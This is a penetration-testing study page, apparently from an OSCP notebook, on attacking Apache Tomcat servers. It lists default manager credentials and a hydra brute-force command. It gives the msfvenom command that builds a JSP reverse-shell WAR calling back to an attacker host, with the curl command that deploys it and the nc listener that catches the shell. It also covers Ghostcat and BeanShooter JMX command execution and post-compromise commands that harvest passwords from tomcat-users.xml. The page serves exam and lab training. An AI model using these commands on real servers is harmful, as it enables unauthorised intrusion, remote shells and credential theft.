Pearson's OSCP Notebook

Tomcat

Properties1
tagstomcat, web-server, java, manager, war, jmx, enumeration, exploitation

3 min read

Tomcat — Enumeration & Exploitation

Ctrl+F: manager/html · tomcat-users · WAR · JMX · Ghostcat · 8080

Apache Tomcat runs Java web apps (.jsp, .war). OSCP gold: Tomcat Manager with weak creds → upload WAR → RCE. Also check JMX (1099) and AJP (8009).

📌 Identify Tomcat

curl -sI http://TARGET:8080 | grep -i server
# Apache-Coyote/1.1
 
nmap -p 8080,8443,8009,1099 -sV TARGET
PortService
8080 / 8443HTTP(S) — apps, Manager
8009AJP — Ghostcat (CVE-2020-1938) if exposed
1099Java RMI/JMX — BeanShooter

📌 External enumeration (no shell)

# Manager & examples (common on 8080)
curl -u tomcat:tomcat http://TARGET:8080/manager/html
curl -u admin:admin http://TARGET:8080/manager/html
curl -u tomcat:s3cret http://TARGET:8080/manager/html
 
gobuster dir -u http://TARGET:8080 -w /usr/share/wordlists/dirb/common.txt -x jsp,war,txt,html
ffuf -u http://TARGET:8080/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/tomcat.txt
 
# Default / interesting paths
/manager/html          # Deploy WAR (needs manager-gui role)
/host-manager/html     # Virtual host management
/examples/             # Sample servlets (sometimes unauth)
/docs/
/manager/status

Default credentials (always try)

Full list → Default Credentials > Apache Tomcat

UserPassword
tomcattomcat
adminadmin
tomcats3cret
rolerole
j2deployerj2deployer
ovwebusrOvW*busr1
cxsdkkdsxc
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt TARGET http-get /manager/html

📌 Quick reference — paths & commands

ItemPurpose
/manager/htmlWAR upload → RCE (with manager-gui + manager-script roles)
/host-manager/htmlHost-level admin (less common in labs)
tomcat-users.xmlUsernames, passwords (often plaintext), roles
WEB-INF/web.xmlApp config, servlets, init params, sometimes creds
WEB-INF/classes/Compiled app code / properties files
META-INF/context.xmlDatasource / JDBC connection strings
/examples/Weak demo apps — info leak, known vulns
catalina.out / Tomcat logsErrors, paths, credentials in stack traces
Port 1099 JMXUnauth JMX / deserialization → BeanShooter
Port 8009 AJPGhostcat — read/webapp files if AJP exposed

Common install paths

OSPath
Linux/usr/share/tomcat*, /var/lib/tomcat*/, /opt/tomcat/
WindowsC:\Program Files\Apache Software Foundation\Tomcat*

📌 Exploitation — Tomcat Manager → WAR → RCE

1) Build WAR shell (Kali)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
 
# Or use webshell WAR / jsp from
ls /usr/share/webshells/jsp/

2) Upload via Manager UI or curl

# Browser: http://TARGET:8080/manager/html → WAR file to deploy
 
curl -u 'tomcat:s3cret' -T shell.war "http://TARGET:8080/manager/html/deploy?path=/shell"
# Triggers at: http://TARGET:8080/shell/

3) Catch shell

rlwrap nc -lvnp 4444

See Msfvenom · Shell · File Upload Bypass > JSP (Java / Tomcat)

📌 Ghostcat — CVE-2020-1938 (AJP 8009)

If 8009 is open and AJP connector is misconfigured:

# ysoserial-based tools / ghostcat scanners
nmap -p 8009 --script ajp-headers TARGET
# Read WEB-INF/web.xml or include RCE payloads when vulnerable

Only relevant when AJP port is exposed and Tomcat version/config is vulnerable.

📌 JMX / RMI (port 1099)

nmap -p 1099 -sV TARGET
beanshooter enum TARGET 1099
beanshooter tonka TARGET 1099 'id'

→ BeanShooter · UseCases for ports > Port 1099 — Java RMI / JMX

📌 Post-compromise enumeration (shell)

# Find Tomcat home
ps aux | grep -i tomcat
find / -name "tomcat-users.xml" 2>/dev/null
find / -name "catalina.out" 2>/dev/null
 
# Creds & roles
cat /usr/share/tomcat*/conf/tomcat-users.xml
cat /var/lib/tomcat*/conf/tomcat-users.xml
 
# Per-app secrets
find / -path "*/WEB-INF/web.xml" 2>/dev/null
grep -rni "password\|jdbc\|connection" */WEB-INF/ 2>/dev/null

📌 Quick cheat sheet

# Enum
curl -u tomcat:tomcat http://TARGET:8080/manager/html
gobuster dir -u http://TARGET:8080 -w .../common.txt
 
# RCE
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war -o s.war
curl -u 'tomcat:s3cret' -T s.war "http://TARGET:8080/manager/html/deploy?path=/s"
 
# On shell
cat /var/lib/tomcat*/conf/tomcat-users.xml
find / -name "web.xml" 2>/dev/null | head

Graph View

Backlinks